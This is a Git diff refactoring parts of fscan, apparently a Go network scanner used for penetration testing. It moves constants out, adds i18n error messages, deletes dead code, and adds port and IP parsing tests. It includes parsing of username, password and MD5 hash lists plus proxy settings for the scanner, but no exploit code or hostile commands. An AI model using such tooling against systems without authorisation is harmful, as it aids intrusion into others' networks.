return fmt.Errorf("写入CSV头部失败: %v", err) return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
} }
w.csvWriter.Flush() w.csvWriter.Flush()
@ -333,23 +335,23 @@ func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
file, err := os.Open(r.filePath) file, err := os.Open(r.filePath)
if err != nil { if err != nil {
return nil, fmt.Errorf("打开CSV文件失败: %v", err) return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err)
} }
defer file.Close() defer file.Close()
reader := csv.NewReader(file) reader := csv.NewReader(file)
records, err := reader.ReadAll() records, err := reader.ReadAll()
if err != nil { if err != nil {
return nil, fmt.Errorf("读取CSV文件失败: %v", err) return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err)
} }
var results []*ScanResult var results []*ScanResult
for i, row := range records { for i, row := range records {
// 跳过CSV头部 // 跳过CSV头部
if i == 0 { if i == CSVHeaderRowIndex {
continue continue
} }
if len(row) < 5 { if len(row) < CSVMinColumns {
continue // 数据不完整 continue // 数据不完整
} }
@ -377,22 +379,22 @@ func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error)
// parseCSVRow 解析CSV行 // parseCSVRow 解析CSV行
func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) { func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) {
// 解析时间 // 解析时间
t, err := parseTime(row[0]) t, err := parseTime(row[CSVTimeColumnIndex])
if err != nil { if err != nil {
return nil, err return nil, err
} }
// 解析Details // 解析Details
var details map[string]interface{} var details map[string]interface{}
if err := json.Unmarshal([]byte(row[4]), &details); err != nil { if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil {
details = make(map[string]interface{}) details = make(map[string]interface{})
} }
return &ScanResult{ return &ScanResult{
Time: t, Time: t,
Type: ResultType(row[1]), Type: ResultType(row[CSVTypeColumnIndex]),
Target: row[2], Target: row[CSVTargetColumnIndex],
Status: row[3], Status: row[CSVStatusColumnIndex],
Details: details, Details: details,
}, nil }, nil
} }
@ -445,11 +447,7 @@ func (r *CSVReader) Close() error {
// parseTime 解析时间字符串 // parseTime 解析时间字符串
func parseTime(timeStr string) (time.Time, error) { func parseTime(timeStr string) (time.Time, error) {
// 尝试多种时间格式 // 尝试多种时间格式
formats := []string{ formats := GetSupportedTimeFormats()
"2006-01-02 15:04:05",
"2006-01-02T15:04:05Z07:00",
"2006-01-02T15:04:05.000Z07:00",
}
for _, format := range formats { for _, format := range formats {
if t, err := time.Parse(format, timeStr); err == nil { if t, err := time.Parse(format, timeStr); err == nil {
@ -457,5 +455,5 @@ func parseTime(timeStr string) (time.Time, error) {
} }
} }
return time.Time{}, fmt.Errorf("无法解析时间: %s", timeStr) return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr)
} }

129
Common/output/constants.go Normal file
View File

@ -0,0 +1,129 @@
package output
import (
"os"
"time"
)
/*
constants.go - 输出系统常量定义
统一管理common/output包中的所有常量便于查看和编辑
*/
// =============================================================================
// 输出格式常量 (从Types.go迁移)
// =============================================================================
// OutputFormat 输出格式类型
type OutputFormat string
const (
FormatTXT OutputFormat = "txt" // 文本格式
FormatJSON OutputFormat = "json" // JSON格式
FormatCSV OutputFormat = "csv" // CSV格式
)
// =============================================================================
// 结果类型常量 (从Types.go迁移)
// =============================================================================
// ResultType 定义结果类型
type ResultType string
const (
TypeHost ResultType = "HOST" // 主机存活
TypePort ResultType = "PORT" // 端口开放
TypeService ResultType = "SERVICE" // 服务识别
TypeVuln ResultType = "VULN" // 漏洞发现
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// 默认缓冲区配置
DefaultBufferSize = 100 // 默认缓冲区大小
DefaultEnableBuffer = true // 默认启用缓冲
DefaultAutoFlush = true // 默认启用自动刷新
DefaultFlushInterval = 5 * time.Second // 默认刷新间隔
// 文件权限常量
DefaultFilePermissions = 0644 // 默认文件权限
DefaultDirPermissions = 0755 // 默认目录权限
// 文件操作标志
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志
)
// =============================================================================
// CSV格式常量 (从Writers.go迁移)
// =============================================================================
var (
// CSV头部字段
CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"}
)
// =============================================================================
// 时间格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 时间格式
DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式
ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式
ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式
)
// GetSupportedTimeFormats 获取支持的时间格式列表
func GetSupportedTimeFormats() []string {
return []string{
DefaultTimeFormat,
ISO8601TimeFormat,
ISO8601MilliFormat,
}
}
// =============================================================================
// JSON常量
// =============================================================================
const (
// JSON格式化
JSONIndentPrefix = "" // JSON缩进前缀
JSONIndentString = " " // JSON缩进字符串
// 空JSON对象
EmptyJSONObject = "{}"
)
// =============================================================================
// 文本格式常量 (从Writers.go迁移)
// =============================================================================
const (
// 文本输出格式
TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式
TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板
TxtDetailsFormat = " (%s)" // 详细信息格式
TxtNewline = "\n" // 换行符
TxtDetailsSeparator = ", " // 详细信息分隔符
TxtKeyValueFormat = "%s=%v" // 键值对格式
)
// =============================================================================
// CSV相关常量
// =============================================================================
const (
CSVMinColumns = 5 // CSV最小列数
CSVHeaderRowIndex = 0 // CSV头部行索引
CSVTimeColumnIndex = 0 // 时间列索引
CSVTypeColumnIndex = 1 // 类型列索引
CSVTargetColumnIndex = 2 // 目标列索引
CSVStatusColumnIndex = 3 // 状态列索引
CSVDetailsColumnIndex = 4 // 详细信息列索引
)

View File

@ -7,12 +7,14 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// CredentialParser 凭据解析器 // CredentialParser 凭据解析器
type CredentialParser struct { type CredentialParser struct {
fileReader *FileReader fileReader *FileReader
mu sync.RWMutex mu sync.RWMutex //nolint:unused // reserved for future thread safety
hashRegex *regexp.Regexp hashRegex *regexp.Regexp
options *CredentialParserOptions options *CredentialParserOptions
} }
@ -31,13 +33,13 @@ type CredentialParserOptions struct {
// DefaultCredentialParserOptions 默认凭据解析器选项 // DefaultCredentialParserOptions 默认凭据解析器选项
func DefaultCredentialParserOptions() *CredentialParserOptions { func DefaultCredentialParserOptions() *CredentialParserOptions {
return &CredentialParserOptions{ return &CredentialParserOptions{
MaxUsernameLength: 64, MaxUsernameLength: DefaultMaxUsernameLength,
MaxPasswordLength: 128, MaxPasswordLength: DefaultMaxPasswordLength,
AllowEmptyPasswords: true, AllowEmptyPasswords: DefaultAllowEmptyPasswords,
ValidateHashes: true, ValidateHashes: DefaultValidateHashes,
DeduplicateUsers: true, DeduplicateUsers: DefaultDeduplicateUsers,
DeduplicatePasswords: true, DeduplicatePasswords: DefaultDeduplicatePasswords,
EnableStatistics: true, EnableStatistics: DefaultCredentialsEnableStatistics,
} }
} }
@ -48,7 +50,7 @@ func NewCredentialParser(fileReader *FileReader, options *CredentialParserOption
} }
// 编译哈希验证正则表达式 (MD5: 32位十六进制) // 编译哈希验证正则表达式 (MD5: 32位十六进制)
hashRegex := regexp.MustCompile(`^[a-fA-F0-9]{32}$`) hashRegex := CompiledHashRegex
return &CredentialParser{ return &CredentialParser{
fileReader: fileReader, fileReader: fileReader,
@ -77,7 +79,7 @@ type CredentialInput struct {
// Parse 解析凭据配置 // Parse 解析凭据配置
func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) { func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) {
if input == nil { if input == nil {
return nil, NewParseError("INPUT_ERROR", "凭据输入为空", "", 0, ErrEmptyInput) return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput)
} }
startTime := time.Now() startTime := time.Now()
@ -142,7 +144,7 @@ func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []
if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid { if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid {
usernames = append(usernames, processedUser) usernames = append(usernames, processedUser)
} else if err != nil { } else if err != nil {
errors = append(errors, NewParseError("USERNAME_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err))
} }
} }
} }
@ -151,7 +153,7 @@ func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []
if input.UsersFile != "" { if input.UsersFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.UsersFile) fileResult, err := cp.fileReader.ReadFile(input.UsersFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取用户名文件失败", input.UsersFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
if processedUser, valid, err := cp.validateUsername(line); valid { if processedUser, valid, err := cp.validateUsername(line); valid {
@ -196,7 +198,7 @@ func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []
if processedPass, valid, err := cp.validatePassword(pass); valid { if processedPass, valid, err := cp.validatePassword(pass); valid {
passwords = append(passwords, processedPass) passwords = append(passwords, processedPass)
} else if err != nil { } else if err != nil {
errors = append(errors, NewParseError("PASSWORD_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err))
} }
} }
} }
@ -205,7 +207,7 @@ func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []
if input.PasswordsFile != "" { if input.PasswordsFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile) fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取密码文件失败", input.PasswordsFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
if processedPass, valid, err := cp.validatePassword(line); valid { if processedPass, valid, err := cp.validatePassword(line); valid {
@ -249,7 +251,7 @@ func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]b
if valid, err := cp.validateHash(input.HashValue); valid { if valid, err := cp.validateHash(input.HashValue); valid {
hashValues = append(hashValues, input.HashValue) hashValues = append(hashValues, input.HashValue)
} else { } else {
errors = append(errors, NewParseError("HASH_ERROR", err.Error(), "command line", 0, err)) errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err))
} }
} }
@ -257,7 +259,7 @@ func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]b
if input.HashFile != "" { if input.HashFile != "" {
fileResult, err := cp.fileReader.ReadFile(input.HashFile) fileResult, err := cp.fileReader.ReadFile(input.HashFile)
if err != nil { if err != nil {
errors = append(errors, NewParseError("FILE_ERROR", "读取哈希文件失败", input.HashFile, 0, err)) errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err))
} else { } else {
for i, line := range fileResult.Lines { for i, line := range fileResult.Lines {
if valid, err := cp.validateHash(line); valid { if valid, err := cp.validateHash(line); valid {
@ -288,12 +290,12 @@ func (cp *CredentialParser) validateUsername(username string) (string, bool, err
} }
if len(username) > cp.options.MaxUsernameLength { if len(username) > cp.options.MaxUsernameLength {
return "", false, fmt.Errorf("用户名过长: %d字符最大允许: %d", len(username), cp.options.MaxUsernameLength) return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength)
} }
// 检查特殊字符 // 检查特殊字符
if strings.ContainsAny(username, "\r\n\t") { if strings.ContainsAny(username, InvalidUsernameChars) {
return "", false, fmt.Errorf("用户名包含非法字符") return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars"))
} }
return username, true, nil return username, true, nil
@ -302,11 +304,11 @@ func (cp *CredentialParser) validateUsername(username string) (string, bool, err
// validatePassword 验证密码 // validatePassword 验证密码
func (cp *CredentialParser) validatePassword(password string) (string, bool, error) { func (cp *CredentialParser) validatePassword(password string) (string, bool, error) {
if len(password) == 0 && !cp.options.AllowEmptyPasswords { if len(password) == 0 && !cp.options.AllowEmptyPasswords {
return "", false, fmt.Errorf("不允许空密码") return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty"))
} }
if len(password) > cp.options.MaxPasswordLength { if len(password) > cp.options.MaxPasswordLength {
return "", false, fmt.Errorf("密码过长: %d字符最大允许: %d", len(password), cp.options.MaxPasswordLength) return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength)
} }
return password, true, nil return password, true, nil
@ -320,11 +322,11 @@ func (cp *CredentialParser) validateHash(hash string) (bool, error) {
hash = strings.TrimSpace(hash) hash = strings.TrimSpace(hash)
if len(hash) == 0 { if len(hash) == 0 {
return false, fmt.Errorf("哈希值为空") return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty"))
} }
if !cp.hashRegex.MatchString(hash) { if !cp.hashRegex.MatchString(hash) {
return false, fmt.Errorf("哈希值格式无效需要32位十六进制字符") return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format"))
} }
return true, nil return true, nil
@ -358,19 +360,6 @@ func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues
} }
} }
// Validate 验证解析结果 // =============================================================================================
func (cp *CredentialParser) Validate() error { // 已删除的死代码未使用Validate 和 GetStatistics 方法
// 基本验证逻辑 // =============================================================================================
return nil
}
// GetStatistics 获取解析统计
func (cp *CredentialParser) GetStatistics() interface{} {
cp.mu.RLock()
defer cp.mu.RUnlock()
return map[string]interface{}{
"parser_type": "credential",
"options": cp.options,
}
}

View File

@ -8,6 +8,8 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// FileReader 高性能文件读取器 // FileReader 高性能文件读取器
@ -62,14 +64,14 @@ type FileReaderOptions struct {
// DefaultFileReaderOptions 默认文件读取器选项 // DefaultFileReaderOptions 默认文件读取器选项
func DefaultFileReaderOptions() *FileReaderOptions { func DefaultFileReaderOptions() *FileReaderOptions {
return &FileReaderOptions{ return &FileReaderOptions{
MaxCacheSize: 10, MaxCacheSize: DefaultMaxCacheSize,
EnableCache: true, EnableCache: DefaultEnableCache,
MaxFileSize: 50 * 1024 * 1024, // 50MB MaxFileSize: DefaultFileReaderMaxFileSize,
Timeout: 30 * time.Second, Timeout: DefaultFileReaderTimeout,
EnableValidation: true, EnableValidation: DefaultFileReaderEnableValidation,
TrimSpace: true, TrimSpace: DefaultTrimSpace,
SkipEmpty: true, SkipEmpty: DefaultSkipEmpty,
SkipComments: true, SkipComments: DefaultSkipComments,
} }
} }
@ -118,67 +120,13 @@ func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (
case err := <-errorChan: case err := <-errorChan:
return nil, err return nil, err
case <-ctx.Done(): case <-ctx.Done():
return nil, NewParseError("TIMEOUT", "文件读取超时", filename, 0, ctx.Err()) return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err())
} }
} }
// ReadFiles 并发读取多个文件 // =============================================================================================
func (fr *FileReader) ReadFiles(filenames []string, options ...*FileReaderOptions) (map[string]*FileResult, error) { // 已删除的死代码未使用ReadFiles 并发读取多个文件的方法
if len(filenames) == 0 { // =============================================================================================
return nil, NewParseError("FILE_ERROR", "文件列表为空", "", 0, ErrEmptyInput)
}
opts := fr.mergeOptions(options...)
results := make(map[string]*FileResult)
resultsChan := make(chan struct {
filename string
result *FileResult
err error
}, len(filenames))
// 并发读取文件
var wg sync.WaitGroup
semaphore := make(chan struct{}, 4) // 限制并发数
for _, filename := range filenames {
wg.Add(1)
go func(fname string) {
defer wg.Done()
semaphore <- struct{}{} // 获取信号量
defer func() { <-semaphore }() // 释放信号量
result, err := fr.ReadFile(fname, opts)
resultsChan <- struct {
filename string
result *FileResult
err error
}{fname, result, err}
}(filename)
}
// 等待所有协程完成
go func() {
wg.Wait()
close(resultsChan)
}()
// 收集结果
var errors []error
for res := range resultsChan {
if res.err != nil {
errors = append(errors, res.err)
} else {
results[res.filename] = res.result
}
}
// 如果有错误且所有文件都失败,返回第一个错误
if len(errors) > 0 && len(results) == 0 {
return nil, errors[0]
}
return results, nil
}
// readFileSync 同步读取文件 // readFileSync 同步读取文件
func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) { func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) {
@ -234,7 +182,7 @@ func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions)
// 检查扫描错误 // 检查扫描错误
if err := scanner.Err(); err != nil { if err := scanner.Err(); err != nil {
return nil, NewParseError("READ_ERROR", "文件扫描失败", filename, lineNum, err) return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err)
} }
// 更新统计信息 // 更新统计信息
@ -259,7 +207,7 @@ func (fr *FileReader) processLine(line string, options *FileReaderOptions) (stri
} }
// 跳过注释行 // 跳过注释行
if options.SkipComments && strings.HasPrefix(line, "#") { if options.SkipComments && strings.HasPrefix(line, CommentPrefix) {
return "", false return "", false
} }
@ -276,13 +224,13 @@ func (fr *FileReader) processLine(line string, options *FileReaderOptions) (stri
// validateLine 验证行内容 // validateLine 验证行内容
func (fr *FileReader) validateLine(line string) bool { func (fr *FileReader) validateLine(line string) bool {
// 基本验证:检查是否包含特殊字符或过长 // 基本验证:检查是否包含特殊字符或过长
if len(line) > 1000 { // 单行最大1000字符 if len(line) > MaxLineLength { // 单行最大字符数
return false return false
} }
// 检查是否包含控制字符 // 检查是否包含控制字符
for _, r := range line { for _, r := range line {
if r < 32 && r != 9 && r != 10 && r != 13 { // 排除tab、换行、回车 if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车
return false return false
} }
} }
@ -340,21 +288,6 @@ func (fr *FileReader) addToCache(filename string, result *FileResult) {
fr.cache[filename] = result fr.cache[filename] = result
} }
// ClearCache 清空缓存 // =============================================================================================
func (fr *FileReader) ClearCache() { // 已删除的死代码未使用ClearCache 和 GetCacheStats 方法
fr.mu.Lock() // =============================================================================================
defer fr.mu.Unlock()
fr.cache = make(map[string]*FileResult)
}
// GetCacheStats 获取缓存统计
func (fr *FileReader) GetCacheStats() map[string]interface{} {
fr.mu.RLock()
defer fr.mu.RUnlock()
return map[string]interface{}{
"cache_size": len(fr.cache),
"max_cache_size": fr.maxCacheSize,
"cache_enabled": fr.enableCache,
}
}

View File

@ -0,0 +1,41 @@
package parsers
/*
LegacyParser.go - 简化的向后兼容解析器
现在直接使用简化的解析函数大幅减少代码复杂度
同时保持与现有代码的完全兼容性
*/
// ParseIP 解析各种格式的IP地址兼容原函数签名
// 参数:
// - host: 主机地址可以是单个IP、IP范围、CIDR或常用网段简写
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
return SimpleParseIP(host, filename, nohosts...)
}
// ParsePort 解析端口配置字符串为端口号列表(兼容原函数签名)
// 参数:
// - ports: 端口配置字符串
//
// 返回:
// - []int: 解析后的端口号列表
func ParsePort(ports string) []int {
return SimpleParsePort(ports)
}
// ParsePortsFromString 从字符串解析端口列表(兼容原函数签名)
// 参数:
// - portsStr: 端口字符串,支持单个端口、端口范围、端口组
//
// 返回:
// - []int: 解析后的端口号列表,已去重并排序
func ParsePortsFromString(portsStr string) []int {
return SimpleParsePortsFromString(portsStr)
}

View File

@ -0,0 +1,142 @@
package parsers
import (
"reflect"
"testing"
)
// TestParsePort 测试端口解析功能
func TestParsePort(t *testing.T) {
tests := []struct {
name string
input string
expected []int
}{
{
name: "Simple ports",
input: "80,443,22",
expected: []int{22, 80, 443}, // sorted
},
{
name: "Port range",
input: "80-85",
expected: []int{80, 81, 82, 83, 84, 85},
},
{
name: "Mixed ports and ranges",
input: "22,80-82,443",
expected: []int{22, 80, 81, 82, 443}, // sorted
},
{
name: "Predefined group",
input: "web",
expected: []int{80, 443, 8080, 8443}, // subset of web ports
},
{
name: "Empty string",
input: "",
expected: nil,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := ParsePort(tt.input)
// For predefined groups, we just check if common ports are included
if tt.name == "Predefined group" {
hasExpectedPorts := false
for _, expectedPort := range tt.expected {
for _, resultPort := range result {
if resultPort == expectedPort {
hasExpectedPorts = true
break
}
}
if !hasExpectedPorts {
break
}
}
if !hasExpectedPorts {
t.Errorf("ParsePort(%s) does not contain expected common web ports %v", tt.input, tt.expected)
}
} else {
if !reflect.DeepEqual(result, tt.expected) {
t.Errorf("ParsePort(%s) = %v, expected %v", tt.input, result, tt.expected)
}
}
})
}
}
// TestParseIP 测试IP解析功能
func TestParseIP(t *testing.T) {
tests := []struct {
name string
input string
expected int // expected number of IPs
}{
{
name: "Single IP",
input: "192.168.1.1",
expected: 1,
},
{
name: "CIDR notation",
input: "192.168.1.0/30",
expected: 4, // 192.168.1.0-3
},
{
name: "IP range",
input: "192.168.1.1-192.168.1.3",
expected: 3,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result, err := ParseIP(tt.input, "", "")
if err != nil {
t.Errorf("ParseIP(%s) returned error: %v", tt.input, err)
return
}
if len(result) != tt.expected {
t.Errorf("ParseIP(%s) returned %d IPs, expected %d", tt.input, len(result), tt.expected)
}
})
}
}
// TestParsePortsFromString 测试端口字符串解析功能
func TestParsePortsFromString(t *testing.T) {
tests := []struct {
name string
input string
expected []int
}{
{
name: "Valid ports",
input: "80,443,22",
expected: []int{22, 80, 443}, // sorted
},
{
name: "Empty string",
input: "",
expected: []int{},
},
{
name: "With spaces",
input: " 80 , 443 , 22 ",
expected: []int{22, 80, 443},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := ParsePortsFromString(tt.input)
if !reflect.DeepEqual(result, tt.expected) {
t.Errorf("ParsePortsFromString(%s) = %v, expected %v", tt.input, result, tt.expected)
}
})
}
}

View File

@ -3,16 +3,17 @@ package parsers
import ( import (
"fmt" "fmt"
"net/url" "net/url"
"regexp"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// NetworkParser 网络配置解析器 // NetworkParser 网络配置解析器
type NetworkParser struct { type NetworkParser struct {
mu sync.RWMutex mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *NetworkParserOptions options *NetworkParserOptions
} }
@ -28,11 +29,11 @@ type NetworkParserOptions struct {
// DefaultNetworkParserOptions 默认网络解析器选项 // DefaultNetworkParserOptions 默认网络解析器选项
func DefaultNetworkParserOptions() *NetworkParserOptions { func DefaultNetworkParserOptions() *NetworkParserOptions {
return &NetworkParserOptions{ return &NetworkParserOptions{
ValidateProxies: true, ValidateProxies: DefaultValidateProxies,
AllowInsecure: false, AllowInsecure: DefaultAllowInsecure,
DefaultTimeout: 30 * time.Second, DefaultTimeout: DefaultNetworkTimeout,
DefaultWebTimeout: 10 * time.Second, DefaultWebTimeout: DefaultWebTimeout,
DefaultUserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", DefaultUserAgent: DefaultUserAgent,
} }
} }
@ -146,7 +147,7 @@ func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []str
// 验证代理URL // 验证代理URL
if np.options.ValidateProxies { if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil { if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError("PROXY_ERROR", err.Error(), "http_proxy", 0, err)) errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err))
return "", errors, warnings return "", errors, warnings
} }
} }
@ -169,7 +170,7 @@ func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []s
// 验证代理URL // 验证代理URL
if np.options.ValidateProxies { if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil { if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError("PROXY_ERROR", err.Error(), "socks5_proxy", 0, err)) errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err))
return "", errors, warnings return "", errors, warnings
} }
} }
@ -190,7 +191,7 @@ func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration
// 处理普通超时 // 处理普通超时
finalTimeout := np.options.DefaultTimeout finalTimeout := np.options.DefaultTimeout
if timeout > 0 { if timeout > 0 {
if timeout > 300 { // 最大5分钟 if timeout > MaxTimeoutSeconds {
warnings = append(warnings, "超时时间过长建议不超过300秒") warnings = append(warnings, "超时时间过长建议不超过300秒")
} }
finalTimeout = time.Duration(timeout) * time.Second finalTimeout = time.Duration(timeout) * time.Second
@ -199,7 +200,7 @@ func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration
// 处理Web超时 // 处理Web超时
finalWebTimeout := np.options.DefaultWebTimeout finalWebTimeout := np.options.DefaultWebTimeout
if webTimeout > 0 { if webTimeout > 0 {
if webTimeout > 120 { // 最大2分钟 if webTimeout > MaxWebTimeoutSeconds {
warnings = append(warnings, "Web超时时间过长建议不超过120秒") warnings = append(warnings, "Web超时时间过长建议不超过120秒")
} }
finalWebTimeout = time.Duration(webTimeout) * time.Second finalWebTimeout = time.Duration(webTimeout) * time.Second
@ -207,7 +208,7 @@ func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration
// 验证超时配置合理性 // 验证超时配置合理性
if finalWebTimeout > finalTimeout { if finalWebTimeout > finalTimeout {
warnings = append(warnings, "Web超时时间大于普通超时时间可能导致不期望的行为") warnings = append(warnings, i18n.GetText("config_web_timeout_warning"))
} }
return finalTimeout, finalWebTimeout, errors, warnings return finalTimeout, finalWebTimeout, errors, warnings
@ -223,14 +224,14 @@ func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []st
} }
// 基本格式验证 // 基本格式验证
if len(userAgent) > 512 { if len(userAgent) > MaxUserAgentLength {
errors = append(errors, NewParseError("USERAGENT_ERROR", "用户代理字符串过长", "user_agent", 0, nil)) errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil))
return "", errors, warnings return "", errors, warnings
} }
// 检查是否包含特殊字符 // 检查是否包含特殊字符
if strings.ContainsAny(userAgent, "\r\n\t") { if strings.ContainsAny(userAgent, InvalidUserAgentChars) {
errors = append(errors, NewParseError("USERAGENT_ERROR", "用户代理包含非法字符", "user_agent", 0, nil)) errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil))
return "", errors, warnings return "", errors, warnings
} }
@ -252,8 +253,8 @@ func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string)
} }
// 基本格式验证 // 基本格式验证
if len(cookie) > 4096 { // HTTP Cookie长度限制 if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制
errors = append(errors, NewParseError("COOKIE_ERROR", "Cookie字符串过长", "cookie", 0, nil)) errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil))
return "", errors, warnings return "", errors, warnings
} }
@ -268,17 +269,17 @@ func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string)
// normalizeHttpProxy 规范化HTTP代理URL // normalizeHttpProxy 规范化HTTP代理URL
func (np *NetworkParser) normalizeHttpProxy(proxy string) string { func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
switch strings.ToLower(proxy) { switch strings.ToLower(proxy) {
case "1": case ProxyShortcut1:
return "http://127.0.0.1:8080" return ProxyShortcutHTTP
case "2": case ProxyShortcut2:
return "socks5://127.0.0.1:1080" return ProxyShortcutSOCKS5
default: default:
// 如果没有协议前缀默认使用HTTP // 如果没有协议前缀默认使用HTTP
if !strings.Contains(proxy, "://") { if !strings.Contains(proxy, ProtocolPrefix) {
if strings.Contains(proxy, ":") { if strings.Contains(proxy, ":") {
return "http://" + proxy return HTTPPrefix + proxy
} else { } else {
return "http://127.0.0.1:" + proxy return HTTPPrefix + "127.0.0.1:" + proxy
} }
} }
return proxy return proxy
@ -287,12 +288,12 @@ func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
// normalizeSocks5Proxy 规范化Socks5代理URL // normalizeSocks5Proxy 规范化Socks5代理URL
func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string { func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string {
// 如果没有协议前缀,添加socks5:// // 如果没有协议前缀,添加SOCKS5协议
if !strings.HasPrefix(proxy, "socks5://") { if !strings.HasPrefix(proxy, SOCKS5Prefix) {
if strings.Contains(proxy, ":") { if strings.Contains(proxy, ":") {
return "socks5://" + proxy return SOCKS5Prefix + proxy
} else { } else {
return "socks5://127.0.0.1:" + proxy return SOCKS5Prefix + "127.0.0.1:" + proxy
} }
} }
return proxy return proxy
@ -311,7 +312,7 @@ func (np *NetworkParser) validateProxyURL(proxyURL string) error {
// 检查协议 // 检查协议
switch parsedURL.Scheme { switch parsedURL.Scheme {
